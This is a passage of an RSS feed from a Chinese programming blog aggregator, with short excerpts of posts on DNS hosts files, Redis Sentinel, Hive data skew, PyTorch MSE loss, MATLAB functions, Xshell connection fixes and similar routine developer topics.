      <description>我们需要先了解DNS解析查询的顺序。在用户输入域名之后，DNS解析查询的顺序是下面这样的。&#xA;（1）浏览器会首先查看自身的缓存，如果浏览器缓存中有对应的解析记录，直接返回结果；&#xA;（2）如果浏览器没有缓存，电脑会查看本地操作系统的缓存，如果有记录，直接返回结果；&#xA;（3）如果浏览器和本地缓存中都没有记录，会向递归解析服务器发起请求，递归服务器如果有记录直接返回，如果没记录会向全球发起递归查询，直到获得对应解析记录返回客户端并保存在本地。&#xA;什么是hosts文件？ 在上面的DNS查询过程中，第二个步骤即电脑查看本地操作系统中的缓存，这里的缓存文件即为hosts文件。&#xA;由操作系统操作的IP和域名的本地映射文件，可以视为DNS server的重写，一旦查到了指定的域名，就不会继续查找DNS server， 所以可以节省时间。&#xA;但是hosts设置的IP地址是静态的，如果web app的宿主机地址发生改变，对应的hosts也要改写。&#xA;hosts是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”，当用户在浏览器中输入一个需要登录的网址时，系统会首先自动从Hosts文件中寻找对应的IP地址，一旦找到，系统会立即打开对应网页，无需进行下面的解析查询过程，因此大大节省了查询时间。如果没有找到，则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。&#xA;如何修改hosts文件？ （1）搜索hosts文件&#xA;C:\Windows\System32\drivers\etc\hosts&#xA;我们知道centos中的hosts文件路径是/etc/hosts，windows里的路径也类似，只是前面多了一些前缀路径。&#xA;（2）通过记事本方式打开hosts文件，先写该域名对应的IP地址，然后空格加域名信息。按如下格式添加完保存就可以了。</description>
    </item>
    <item>
      <title>Dubbo服务引用</title>
      <link>https://bchobby.github.io/posts/51c7f4e703717b23f44617be31886770/</link>
      <pubDate>Mon, 20 Mar 2023 23:42:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51c7f4e703717b23f44617be31886770/</guid>
      <description>一、服务引用的时机 1、ReferenceBean#afterPropertiesSet 方法时引用服务&#xA;2、ReferenceBean 对应的服务被注入到其他类中时引用&#xA;二、服务引用流程图： 服务引用流程：&#xA;参数检查，把ReferenceBean⾥的参数值设置为高优先级&#xA;调用init方法，生成ref&#xA;创建一个map对象，放入消费者一些参数&#xA;如果是本地引用，构建本地协议URL进行服务引入&#xA;如果是一个注册中心，直接调用Protocol#refer，得到一个Invoker对象&#xA;如果是多注册中心，遍历每个注册中心，分别调用Protocol#refer，封装所有Invokers，经过路由负载均衡，得到一个Invoker对象&#xA;PROXY_FACTORY.getProxy(invoker) 传入invoker,得到一个代理对象&#xA;三、生成的代理对象 生成的代理对象：&#xA;public class proxy0 implements ClassGenerator.DC,EchoService,DemoService { public static Method[] methods; private InvocationHandler handler; public String sayHello(String string) { Object[] objectArray = new Object[]{string}; Object object = this.handler.invoke(this, methods[0], objectArray); return (String)object; } public String sayHello(String string, String string2) { Object[] objectArray = new Object[]{string, string2}; Object object = this.handler.invoke(this, methods[1], objectArray); return (String)object; } public Object $echo(Object object) { Object[] objectArray = new Object[]{object}; Object object2 = this.</description>
    </item>
    <item>
      <title>ILETS雅思备考</title>
      <link>https://bchobby.github.io/posts/6b0ca8aabaf0c6222c75f64512390a36/</link>
      <pubDate>Mon, 20 Mar 2023 22:27:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b0ca8aabaf0c6222c75f64512390a36/</guid>
      <description>次序听读九––132-7.0424-6.034-7.5十––329-6.5十二––631-7.0十六––122-5.532-7.0229-6.533-7.5323-6.0 LISTENING-40-30分钟 听：&#xA;轻读词THEM*,FOR,WHILE,IN,THERER注意连接词ANDFEWER是更少方位词全听单复数** 记：&#xA;看清题目问的对象：如何，频率留神听的和写的要一致尽量看全文本 选项提示词单复数-&amp;gt;名词&#xA;READING-40-60分钟 注意文本否定过程的内涵，比较的意图 TFN:&#xA;看清题意看清YES还是TRUE 选词：&#xA;for sth. of sb. = for sb. 标题匹配：&#xA;注意KEY WORD，看懂文本潜意识情绪 WIRTING-2-60分钟 1 地图折线 一短句话介绍（抄题目FLUCTUATION 波动考点：相似，稳定变化，短暂波动数字 = FIGURE 2 冠词 the: community, student, nationa:/:common sense, nature 词性：volunteer work写错：numErous, definitEly, gUaranteEd,单复数：the locals,单三： do sth. 写成直接动词ing&#xA;resonsibilities to the nation&#xA;in place where …状语从句不忘地点&#xA;everyday是adj.&#xA;contribute TO&#xA;care FOR&#xA;SPEAKING NOT SHARE THIS OPINION不同意观点&#xA;Two factors contribute to this&#xA;People have easier access to</description>
    </item>
    <item>
      <title># ERROR: No matching distribution found for csv WARNING: You are using pip version 21.3.1；</title>
      <link>https://bchobby.github.io/posts/1e2b641484d29701a26a56c259ccde28/</link>
      <pubDate>Mon, 20 Mar 2023 21:36:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e2b641484d29701a26a56c259ccde28/</guid>
      <description>ERROR: No matching distribution found for csv WARNING: You are using pip version 21.3.1; however, version 23.0.1 is available. **&#xA;错误：找不到 csv 的匹配分布 警告：您使用的是 pip 版本 21.3.1;但是，版本 23.0.1 可用。 **&#xA;今天使用python的时候，发现需要导入一个名叫‘csv’的库，那我就导入呗，结果导入的时候遇到了错误!&#xA;错误：找不到 csv 的匹配分布&#xA;警告：您使用的是 pip 版本 21.3.1;但是，版本 23.0.1 可用。&#xA;您应该考虑通过’C：Users.\PycharmProjectsw2cevenvScriptspython.exe -m pip install --upgrade pip’ 命令进行升级。&#xA;ok,既然pycharm已经给出了意见，那我就去升级。&#xA;打开命令提示符&#xA;输入相应语句python -m pip install --upgrade pip，结果它报错了!&#xA;错误： 由于环境错误，无法安装包错误： [WinError 5] 拒绝访问。:&#xA;请考虑使用“–user”选项或检查权限。错误：找不到满足要求 csv 的版本（来自版本：无）&#xA;天呐，他又报错了，但是这个命令提示符给我了一个新的提示，真不愧是”提示“符。那我们按照提示再来一次。输入python -m pip install --user --upgrade pip看到成功安装（Successfully installed）这几个字，我就知道事情成功了，为了保险起见，我们来检查一下。</description>
    </item>
    <item>
      <title>Redis7之哨兵(九)</title>
      <link>https://bchobby.github.io/posts/b5037a19d5c9b9219572f97c6d7616a8/</link>
      <pubDate>Mon, 20 Mar 2023 21:03:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5037a19d5c9b9219572f97c6d7616a8/</guid>
      <description>9.1介绍 哨兵巡查监控后台master主机是否故障，如果故障了根据投票数自动将某一个从库转换为新主库，继续对外服务，俗称无人值守运维&#xA;作用&#xA;监控redis运行状态，包括master和slave当master down机，能自动将slave切换成新master 哨兵的四个功能&#xA;主从监控 监控主从redis库运行是否正常 消息通知 哨兵可以将故障转移的结果发送到客户端 故障转移 如果master异常，则会进行主从切换，将其中一个slave作为新master 配置中心 客户端通过连接哨兵来获得当前Redis服务的主节点地址 9.2 基本操作 Redis Sentinel架构 3个哨兵 自动监控和维护集群，不存放数据，只是监控 1主2从 用于数据读取和存放 步骤 注意： 由于虚拟机运行内存问题，将哨兵放在一台机器上，真正部署项目时要分开&#xA;在 /myredis 目录新建或者拷贝 sentinel.conf&#xA;先看看redis解压目录下默认的sentinel.conf文件的内容&#xA;哨兵sentinel文件参数（先导）&#xA;bind 服务监听地址，用于客户端连接daemonize 是否以后台daemon方式运行protected-mode 安全保护模式port 端口logfile 日志文件路径pidfile pid日志路径dir 工作目录sentiel monitor 设置要监控的masterquorm 表示最少有几个哨兵认可客观下线，同意故障迁移的法定票数 网络是不可靠的，有时候一个sentinel会因为网络堵塞而误以为一个master redis已经死掉了，在sentinel集群环境下需要多个sentinel互相沟通来确认某个master是否真的死了，quorum这个参数是进行客观下线的一个依据，意思是至少有quorum个sentinel认为这个master有故障，才会对这个master进行下线以及故障转移。因为有的时候，某个sentinel节点可能因为自身网络原因，导致无法连接master，而此时master并没有出现故障，所以，这就需要多个sentinel都一致认为该master有问题，才可以进行下一步操作，这就保证了公平性和高可用。 sentiel auth-pass 通过密码连接master 哨兵sentinel文件配置&#xA;sentinel26379.conf&#xA;sentinel26380.conf&#xA;sentienl26381.conf&#xA;先启动一主二从&#xA;按照上章配置的一主二从基础上，需要对主机redis6379.conf进行更改&#xA;6379后续可能会变成从机，需要设置访问新主机的密码， 请设置masterauth项访问密码为123456&#xA;启动一主二从&#xA;6379.conf redis-server /myredis/redis6379.conf redis-cli -a 123456 6380.conf redis-server /myredis/redis6380.conf redis-cli -a 123456 -p 6380 6381.</description>
    </item>
    <item>
      <title>HCL_V5.7.0下载、安装</title>
      <link>https://bchobby.github.io/posts/233aeb97175187035cf09a15d23caa35/</link>
      <pubDate>Mon, 20 Mar 2023 20:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/233aeb97175187035cf09a15d23caa35/</guid>
      <description>一、HCL_V5.7.0下载&#xA;1.进入新华三官网https://www.h3c.com/cn/，点击导航栏的支持&#xA;2.鼠标移到“软件下载”，点击有界面的“软件下载”按钮&#xA;3.点击“其它产品”&#xA;4.点击“H3C网络设备模拟器官方免费下载”&#xA;5.然后出现很多版本，选择我们想要的即可&#xA;6.比如5.7.0版本，下载即可，文件有点大&#xA;二、HCL_V5.7.0安装&#xA;https://www.bilibili.com/video/BV1nG411u7Rp/?vd_source=9a141fdc035035533c19b159365fcaa7</description>
    </item>
    <item>
      <title>损失函数——均方误差（Mean Squared Error，MSE）</title>
      <link>https://bchobby.github.io/posts/dbe978f988def680060a4abac17327bc/</link>
      <pubDate>Mon, 20 Mar 2023 19:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbe978f988def680060a4abac17327bc/</guid>
      <description>均方误差（Mean Squared Error，MSE）：MSE是回归任务中常用的损失函数，它衡量模型预测值与实际值之间的平均平方误差。&#xA;具体来说，MSE的计算公式如下：&#xA;其中，n是样本数量，xi是第i个样本的真实值，yi是模型对第i个样本的预测值。&#xA;MSE的值越小，说明模型的预测值与真实值之间的差异越小，模型的性能越好。MSE可以被视为模型对预测值误差的平方的平均值，因此它对离群值（Outlier）比较敏感。如果样本中存在离群值，MSE可能会受到它们的影响而导致模型性能下降。&#xA;MSE广泛应用于线性回归和多元线性回归等任务中。在深度学习中，MSE也被用于衡量神经网络在回归任务中的性能，并作为损失函数进行优化。在使用MSE作为损失函数进行优化时，通常会采用梯度下降等优化算法来最小化MSE的值，从而提高模型的性能。&#xA;在PyTorch中，可以使用内置的MSE损失函数来计算均方误差。以下是使用PyTorch实现MSE损失函数的示例代码：&#xA;import torch import torch.nn as nn # 创建真实值和预测值的张量 y_true = torch.tensor([1, 2, 3, 4, 5], dtype=torch.float32) y_pred = torch.tensor([1.5, 2.5, 2.8, 3.8, 4.5], dtype=torch.float32) # 计算MSE损失函数 criterion = nn.MSELoss() mse_loss = criterion(y_pred, y_true) print(&#34;MSE损失值:&#34;, mse_loss.item()) 在上面的代码中，首先创建了真实值和预测值的张量，然后使用PyTorch内置的nn.MSELoss()函数创建了一个MSE损失函数的实例。最后，调用实例的forward()方法，传入预测值和真实值张量，即可计算出MSE损失值。&#xA;如果需要在训练模型时使用MSE作为损失函数进行优化，可以在训练循环中计算损失，并使用反向传播算法更新模型参数。以下是使用MSE作为损失函数进行模型训练的示例代码：&#xA;import torch import torch.nn as nn import torch.optim as optim # 定义模型 class MyModel(nn.Module): def __init__(self): super(MyModel, self).__init__() self.linear = nn.Linear(1, 1) def forward(self, x): y_pred = self.</description>
    </item>
    <item>
      <title>解决Chrome 浏览器提示错误：无法翻译此页面</title>
      <link>https://bchobby.github.io/posts/5aebeca15ed29e577c7e3e60cefb1e1a/</link>
      <pubDate>Mon, 20 Mar 2023 18:19:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aebeca15ed29e577c7e3e60cefb1e1a/</guid>
      <description>由于谷歌停止了中国大陆的翻译服务，导致Chrome浏览器无法使用自带全文翻译功能，点击翻译会出现：&#xA;在网上搜索大概有两种解决方法：&#xA;修改host 找到可用的translate.googleapis.com的ip地址，然后配置到系统hosts文件中，可以使用全文翻译。&#xA;不过这个方法弊端是需要较高的it技术水平，对于小白来说十分困难，而且找到的ip会很快失效，需要重新再找，&#xA;非长久之计。&#xA;2）安装DeepL翻译扩展 DeepL是一款诞生在德国的在线翻译工具，DeepL的优点主要在于翻译结果的句子通顺且有一定润色，机翻味没那么重，我们可以通过安装扩展插件来使用DeepL的免费翻译功能，解决Chome浏览器的翻译问题。&#xA;安装方法：&#xA;https://www.strerr.com/blog/tech/install-DeepL-for-chrome.html&#xA;运行效果</description>
    </item>
    <item>
      <title>电费管理系统-UML建模课程设计</title>
      <link>https://bchobby.github.io/posts/b70076b9ddf83d910c42d80897dd9a69/</link>
      <pubDate>Mon, 20 Mar 2023 18:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b70076b9ddf83d910c42d80897dd9a69/</guid>
      <description>目录&#xA;前言&#xA;一、任务要求&#xA;二、系统功能简介&#xA;2.1 缴费功能&#xA;2.2 查询功能&#xA;2.3 管理功能&#xA;2.4 系统管理&#xA;三、业务建模&#xA;3.1 识别业务参与者&#xA;3.2 识别用例 3.3 绘制活动图&#xA;四、用例建模 4.1 分析需求&#xA;4.2 识别参与者&#xA;4.3 识别用例 4.4 绘制用例图&#xA;4.5 编写用例文档&#xA;4.6 重构用例模型&#xA;五、用例模型分析&#xA;5.1 分析用例&#xA;5.2 识别分析类&#xA;5.3 绘制顺序图&#xA;5.4 绘制类图&#xA;六、设计重构 七、心得体会 八、参考文献&#xA;总结&#xA;前言 简单记录一下，期末关于电费管理系统的UML建模课程设计。&#xA;一、任务要求 参考“4+1”视图模型，利用UML工具对所选定系统进行视图建模：&#xA;1、业务建模主要操作步骤：识别业务参与者、识别业务用例、绘制活动图等）。&#xA;2、用例建模主要操作步骤：分析需求、识别参与者、识别用例、绘制用例图、编写用例文档、重构用例模型等。&#xA;3、用例分析主要操作步骤：分析用例、完善用例文档、识别分析类、绘制顺序图、绘制类图等。&#xA;4、根据面向对象的设计原则和常用设计模式对设计进行重构并进行总结。&#xA;5、完成大作业设计报告。&#xA;二、系统功能简介 电费管理系统，在管理方面节省了时间，为部门节省了大量的人力和物力；并且方便业主对自己相关信息的了解，真正做到电费管理的透明化、高效性、方便性，适应了当今社会高效、便捷的要求。根据本系统的功能要求，其功能模块划分如图2.1所示&#xA;图2.1 电力公司收费管理系统基本功能&#xA;2.1 缴费功能 用户可以选择线下去营业厅缴费，也可以选择在网上进行缴费。&#xA;图2.2 缴费功能图&#xA;具体功能如下：&#xA;①线下缴费: 根据用户提供的电费卡，查询用户的用电情况，包括当月的，历史欠费等，现场收取电费。&#xA;②线上缴费: 用户在网上核对用电信息后，通过微信小程序，或移动APP进行缴费。&#xA;2.2 查询功能 查询功能可以通过系统查询用户的用电量、缴费记录、用户个人信息、操作记录查询。</description>
    </item>
    <item>
      <title>Hive数据倾斜的原因以及常用解决方案</title>
      <link>https://bchobby.github.io/posts/c8d4bfd768d509e4ef3ce4912f3e06eb/</link>
      <pubDate>Mon, 20 Mar 2023 17:38:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8d4bfd768d509e4ef3ce4912f3e06eb/</guid>
      <description>在Hadoop平台的hive数据库进行开发的时候，数据倾斜也是比较容易遇到的问题，这边文章对数据倾斜的定义以及产生的原因、对应的解决方案进行学习。&#xA;一、数据倾斜的定义 数据倾斜：数据分布不均匀，造成数据大量的集中到一点，造成数据热点。主要表现为任务进度长时间维持在 99%或者 100%的附近，查看任务监控页面，发现只有少量 reduce 子任务未完成，因为其处理的数据量和其他的 reduce 差异过大。 单一 reduce 处理的记录数和平均记录数相差太大，通常达到好几倍之多，最长时间远大 于平均时长。&#xA;二、数据倾斜产生的原因 1，key 分布不均匀。&#xA;2，业务数据本身的特性。&#xA;3，建表考虑不周全。&#xA;4，某些 HQL 语句本身就存在数据倾斜。&#xA;三、数据倾斜的类型以及对应解决方案 1，空值产生的数据倾斜 原理：使本身为 null 的所有记录不会拥挤在同一个 reduceTask 了，会由于有替代的 随机字符串值，而分散到了多个 reduceTask 中了，由于 null 值关联不上，处理后并不影响最终结果。&#xA;示例：在日志中，常会有信息丢失的问题，比如日志中的 user_id，如果取其中的 user_id 和用户表中的 user_id 相关联，就会碰到数据倾斜的问题。&#xA;常用解决方案：&#xA;（1）user_id 为空的不参与关联&#xA;select * from log a join user b on a.user_id is not null and a.user_id = b.user_id union all select * from log c where c.user_id is null; （2）赋予空值新的 key 值</description>
    </item>
    <item>
      <title>微信小程序实现购物商城（附源码）</title>
      <link>https://bchobby.github.io/posts/2a7cee5c2ab310a92e0c9a1bce41ec5f/</link>
      <pubDate>Mon, 20 Mar 2023 17:16:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a7cee5c2ab310a92e0c9a1bce41ec5f/</guid>
      <description>2018年本人做了一个淘宝购物返利的微信公众号，截至目前已运营了近5年的时间，也陆续积累了不少粉丝。近日，有部分用户反馈是否可以在公众号上展示促销商品列表，而且要具备搜索功能。为感谢粉丝朋友们的长期支持，笔者耗时一周，利用茶余饭后时间，开发了一个微信小程序，详情如下：&#xA;一、首页 包括活动图片的轮播展示、活动商品缩略图和基本信息的展示、横向滑动tabBar、搜索框等。&#xA;&amp;lt;!--pdd_index.wxml--&amp;gt; &amp;lt;import src=&#34;components/user_guide/user_guide&#34;/&amp;gt; &amp;lt;!--顶部搜素框--&amp;gt; &amp;lt;view class=&#34;container&#34;&amp;gt; &amp;lt;view class=&#34;search&#34;&amp;gt; &amp;lt;view class=&#34;searchlong&#34;&amp;gt; &amp;lt;image class=&#34;searchico&#34; src=&#34;https://bchobby.github.io/icon/search.jpeg&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;input class=&#34;searchkuang&#34; type=&#34;text&#34; placeholder=&#34;点击输入商品名称&#34; confirm-type=&#34;search&#34; bindconfirm=&#34;searchGoods&#34; /&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;!--顶部轮播图--&amp;gt; &amp;lt;view class=&#34;luobotu&#34;&amp;gt; &amp;lt;swiper class=&#34;swiperImg&#34; autoplay=&#34;{{autoplay}}&#34; interval=&#34;{{interval}}&#34; indicator-dots=&#34;true&#34; circular=&#34;true&#34; indicator-color=&#34;white&#34; indicator-active-color=&#34;orange&#34;&amp;gt; &amp;lt;block wx:for=&#34;{{activityList}}&#34; wx:key=&#34;index&#34;&amp;gt; &amp;lt;swiper-item data-id=&#34;{{item.id}}&#34; data-title=&#34;{{item.title}}&#34; data-jumpType=&#34;{{item.jumpType}}&#34; data-activityTags=&#34;{{item.activityTags}}&#34; data-activityDesc=&#34;{{item.activityDesc}}&#34; data-platLink=&#34;{{item.platLink}}&#34; data-itemId=&#34;{{item.itemId}}&#34; data-imgUrl=&#34;{{item.imgUrl}}&#34; data-jType=&#34;{{item.type}}&#34; bindtap=&#34;jump_activity&#34;&amp;gt; &amp;lt;image class = &#34;lunboimg&#34; src=&#34;{{item.imgUrl}}&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/swiper-item&amp;gt; &amp;lt;/block&amp;gt; &amp;lt;/swiper&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;!--滑动tabs--&amp;gt; &amp;lt;view class=&#34;listPar&#34;&amp;gt; &amp;lt;scroll-view scroll-x=&#34;true&#34; class=&#34;nav&#34; scroll-left=&#34;{{navScrollLeft}}&#34; scroll-with-animation=&#34;{{true}}&#34; show-scrollbar=&#34;false&#34; enhanced=&#34;true&#34;&amp;gt; &amp;lt;block wx:for=&#34;</description>
    </item>
    <item>
      <title>关于导入、编译、烧录S32K144 MCAL样例工程的相关问题</title>
      <link>https://bchobby.github.io/posts/5b837f6f6281599ce8d23289b004efb6/</link>
      <pubDate>Mon, 20 Mar 2023 16:19:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b837f6f6281599ce8d23289b004efb6/</guid>
      <description>问题来自于实践。&#xA;在学习了EB关于相关模块的配置之后，尝试导入S32K144 MCAL的样例到EB中，并配置相关的工具链进行编译，再使用S32DS进行执行文件的烧录，在这期间遇到了不少问题，记录一下。&#xA;找不到样例的问题 进入官网大家可以看到有很多的版本，1.0.4、1.0.3、1.0.2……&#xA;很遗憾的告诉大家，这些都不可以用，我们需要进入到以前的版本中找到1.0.0这个版本。&#xA;然后下载，安装，lisence……具体的可以参考其他大佬写详细步骤，这里不做赘述。&#xA;找到你的MCAL1.0.0安装路径，进去看看，样例工程在不在。&#xA;太棒了！！！它在，谁也不能阻止我点灯！！！！&#xA;导入样例到EB 然后导入到EB中就可以了&#xA;别忘记右键重新配置一下Reload comfig&#xA;然后生成代码：&#xA;这些应该都难不住大家，下一步可能就有点迷糊了&#xA;编译样例 编译之前有一点要搞明白！！！&#xA;咱们前面导入到EB里面生成的代码，和编译毛关系都没有！&#xA;EB的工作路径在这里，咱们刚配置生成的代码也在这里。&#xA;可编译是要去这个路径下&#xA;这是令我百思不解的地方，意义在哪里？&#xA;按道理来说，下面这个是标准的样例模板：&#xA;bin里面是编译过程中生成的链接和执行elf文件，或者map文件。&#xA;cfg里面是EB配置成功生成的MCAL文件。&#xA;………………&#xA;可现在样例隔离开了&#xA;1里面是待会儿咱们要编译的 2里面是咱们刚刚导入的EB文件，搞得很乱，但不影响咱们学习大概的流程。&#xA;改脚本 第一步肯定是要先找到批量处理文件的脚本，修改一下路径来适配咱们自己的电脑与工具链。&#xA;要修改的其实不多，主要是EB的安装目录，三个编译器的安装目录，以及MCAL插件的安装目录。&#xA;EB的安装目录：&#xA;SET TRESOS_DIR=D:/EB/tresos&#xA;GHS：&#xA;SET GHS_DIR=C:/tools/ghs/ARM_MULTI_7.1.4COMPILER_2017.1.4&#xA;GCC：&#xA;SET LINARO_DIR=E:/NXP/S32DS_ARM_v2.2/S32DS/build_tools/gcc_v6.3/gcc-6.3-arm32-eabi&#xA;IAR：&#xA;SET IAR_DIR=C:/tools/IARSystem/EmbeddedWorkbench8.0/arm&#xA;MCAL插件的安装目录：&#xA;SET PLUGINS_DIR=D:/EB/S32K14X_MCAL4_3_RTM_1_0_0/eclipse/plugins&#xA;对了还有，编译完成的out目录：&#xA;SETTRESOS_WORKSPACE_DIR=D:/EB/tresos/workspace/lighting_S32K144_4.3_RTM1.0.0/output&#xA;编译 都完成之后，打开命令行：&#xA;输入指令：&#xA;.\launch.bat MODE=USER TOOLCHAIN=gcc 编译完成之后：&#xA;进入目录下就可以看到，生成的可执行文件&#xA;烧录 这里使用S32DS平台进行烧录，方法参考了这个大佬的的文章：&#xA;S32DS 使用 tips--使用Flash from file下载S19或elf文件&#xA;首先新建一个空的工程：&#xA;比如我这里的test&#xA;然后点击这个闪电图标，把elf文件定位到刚刚生成的目录，点击flash，实现烧录！！！&#xA;灯也是非常的亮！！！</description>
    </item>
    <item>
      <title>【MATLAB函数】function定义函数</title>
      <link>https://bchobby.github.io/posts/771090914d77e66d93731da5240e6c10/</link>
      <pubDate>Mon, 20 Mar 2023 15:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/771090914d77e66d93731da5240e6c10/</guid>
      <description>1、函数声明&#xA;定义：function [返回变量列表]=函数名（输入变量列表）&#xA;如：function [y1,...,yN] = myfun(x1,...,xM)&#xA;end&#xA;声明一个名为myfun 的函数，该函数接受输入参数 x1,...,xM 并返回输出参数 y1,...,yN。此声明语句必须是函数的第一个可执行代码行。有效的函数名称以字母字符开头，并且可以包含字母、数字或下划线。&#xA;在函数定义中必须对返回变量列表中的变量赋值&#xA;2、函数文件与脚本文件中的函数&#xA;函数文件的名称应与函数的名称一致，不一致则调用该函数时以文件名为函数名调用。&#xA;脚本文件中，命令在前，函数定义在后，任何一条命令不能在函数定义之后，函数必须位于该文件的末尾。脚本文件的名称不能与文件中的函数具有相同的名称。&#xA;3、可变参数函数&#xA;定义：function varargout = myfun(varargin)&#xA;end&#xA;nargin、nargout、varargin、varargout为MATLAB保留变量，只要进入可变参数函数，MATLAB就将自动生成nargin、nargout、varargin这3个变量，对于varargout变量只有对其赋值varargout才能使用。&#xA;nargin：函数的输入参数个数&#xA;nargout：函数的输出参数个数&#xA;varargin：输入可变参数列表（数据类型为 1xn cell数组，n=nargin）&#xA;varargout：输出可变参数列表（数据类型为 1xn cell数组，n=nargout）&#xA;脚本文件eg2如下：&#xA;[a,b]=demo(1,2) %显示a,b function varargout = demo(varargin)%输入两个数则求和，否则输入等于输出，两输入两输出其他情况出错 disp([&#39;输入参数个数:&#39;,num2str(nargin)]); if nargin disp(&#39;输入参数为:&#39;); varargin %显示输入 for i=1:nargin disp([&#39;参数&#39;,num2str(i),&#39;:&#39;,num2str(varargin{i})]); end else disp(&#39;无输入参数&#39;); end if isnumeric(varargin{1})&amp;amp;&amp;amp;isnumeric(varargin{2})%判断第一第二个参数是否为整数或浮点数 varargout{1}=varargin{1}+varargin{2};%求和 varargout{2}=&#39;N&#39;; else [varargout{1:nargout}]=varargin{1:nargout};%必须使用方括号，否则出错 end varargout %显示输出 end 运行结果：&#xA;&amp;gt;&amp;gt; eg2 输入参数个数:2 输入参数为: varargin = 1×2 cell 数组 {[1]} {[2]} 参数1:1 参数2:2 varargout = 1×2 cell 数组 {[3]} {&#39;N&#39;} a = 3 b = &#39;N&#39; 对于cell类型的变量A，当B=A{1}时B不是cell类型，而是A{1}内容数据的类型；当B=A(1)时B是cell类型。</description>
    </item>
    <item>
      <title>制作html css 步骤进度条（完整代码）</title>
      <link>https://bchobby.github.io/posts/7de94ab1f903789e7b5122ed9e5d50fd/</link>
      <pubDate>Mon, 20 Mar 2023 15:20:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7de94ab1f903789e7b5122ed9e5d50fd/</guid>
      <description>这个动画步骤进度条的css制作的非常简单。那里有两个按钮可以控制步骤，它们将逐步进行。我在这个多步骤进度条 css 中使用了 4 个步骤。如果你愿意，你可以使用更多。&#xA;我使用了一些 javascript 来创建这一步进度条。横步进度条主要用在注册表中。以下是在 HTML 中创建步骤栏的步骤：&#xA;创建一个 HTML 文件并添加以下结构：&#xA;&amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;progress-container&#34;&amp;gt; &amp;lt;div class=&#34;progress&#34; id=&#34;progress&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;circle active&#34;&amp;gt;1&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;circle&#34;&amp;gt;2&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;circle&#34;&amp;gt;3&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;circle&#34;&amp;gt;4&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;button class=&#34;btn&#34; id=&#34;prev&#34; disabled&amp;gt;Prev&amp;lt;/button&amp;gt; &amp;lt;button class=&#34;btn&#34; id=&#34;next&#34;&amp;gt;Next&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; 添加以下 CSS 来设置步进栏的样式：&#xA;@import url(&#34;https://fonts.googleapis.com/css2?family=Muli&amp;amp;display=swap&#34;); :root { --line-border-fill: #3498db; --line-border-empty: #e0e0e0; } * { box-sizing: border-box; } body { font-family: &#34;Muli&#34;, sans-serif; background-color: #f6f7fb; display: flex; align-items: center; justify-content: center; height: 100vh; overflow: hidden; margin: 0; } .</description>
    </item>
    <item>
      <title>Xshell连接不上虚拟机的解决办法</title>
      <link>https://bchobby.github.io/posts/0b27796d139a0331894628e56a8297c4/</link>
      <pubDate>Mon, 20 Mar 2023 14:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b27796d139a0331894628e56a8297c4/</guid>
      <description>目录&#xA;一，首先检查对应的会话信息是否正确&#xA;二，检查网络配置&#xA;三，防火墙是否关闭&#xA;四，ssh服务是否开启&#xA;五：更改网关&#xA;一，首先检查对应的会话信息是否正确 （1）主机号是否与连接的的一致&#xA;查看IP：ip addr&#xA;（2）对应的密码是否是你设置的虚拟机的密码&#xA;建议使用同一个密码，否则很容易弄混，这个密码是你对应用户名的密码&#xA;（3）用户名是否是你的hostname，如果创建了新的用户需要在此用户下传输信息，就需要使用新创建的用户名。&#xA;二，检查网络配置 我是先在ubuntu下搭建的Hadoop，然后再centos下搭建了Hadoop，两者的网络适配环境不一样，如果你是centos系统下&#xA;在虚拟网络编辑器中设置 VMnet8（NAT 模式的网络适配器），关闭 DHCP 服 务，设置完成后点击“应用”。&#xA;如果是ubuntu系统（方法很有用，我每次连不上并且前面的配置都没有什么问题的话就直接恢复默认设置，重新连接真的很方便！！！！），需要选择还原默认设置，不会丢失什么东西。&#xA;默认设置之后你的虚拟机的ip地址会发生改变，需要重新查看ip，在xshell里面重新开一个会话去连接即可&#xA;三，防火墙是否关闭 如果是centos系统则需要永久关闭防火墙&#xA;查看防火墙状态：systemctl status firewalld.service&#xA;禁用防火墙：systemctl disable firewalld.service&#xA;四，ssh服务是否开启 查看ssh状态：service sshd status&#xA;如果没有开启则：service sshd start&#xA;五：更改网关 注意：使用这种方法时需要操作者自身的Hadoop集群的IP地址分配是从3（例如192.168.91.3）开始的，即给网关和IPv4地址留了空余。在这种情况下方可使用此方法。&#xA;设置--网络和Internet--更多网络适配选项&#xA;选择VMnet8--点击属性&#xA;选择IPv4，将其IP地址最后一位改为1，默认网关最后一位改为2，前三位不变。&#xA;以上就是我搭建Hadoop以来需要的xshell连接不上虚拟的办法汇总，希望对你有帮助。</description>
    </item>
    <item>
      <title>k8s外部访问pod内部容器的端口-NodePort</title>
      <link>https://bchobby.github.io/posts/b0839bb1f708e31766ce2230bc82ec41/</link>
      <pubDate>Mon, 20 Mar 2023 14:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0839bb1f708e31766ce2230bc82ec41/</guid>
